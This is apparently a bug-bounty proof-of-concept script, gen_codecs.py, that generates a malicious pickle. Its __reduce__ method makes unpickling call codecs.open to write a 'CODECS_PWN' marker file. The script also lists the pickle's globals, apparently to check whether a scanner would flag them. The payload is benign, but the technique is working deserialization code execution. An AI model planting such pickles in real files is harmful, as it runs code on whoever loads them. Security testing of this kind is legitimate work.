gen_codecs.py

import pickle, os, pickletools, io
import codecs
MARKER = r"C:/Users/uozer/AppData/Local/Temp/opencode/CODECS_PWN.txt"
OUT = r"D:\0projects\bountykimi\tmp\artifacts\evil_codecs.pkl"
class E:
    def __reduce__(self):
        return (codecs.open, (MARKER, 'w'))
data = pickle.dumps({"e": E()})
open(OUT, "wb").write(data)
print("gen ok", os.path.getsize(OUT))
print("globals:", [(o.name, a) for o, a, p in pickletools.genops(io.BytesIO(data)) if o.name in ("GLOBAL","INST","STACK_GLOBAL")])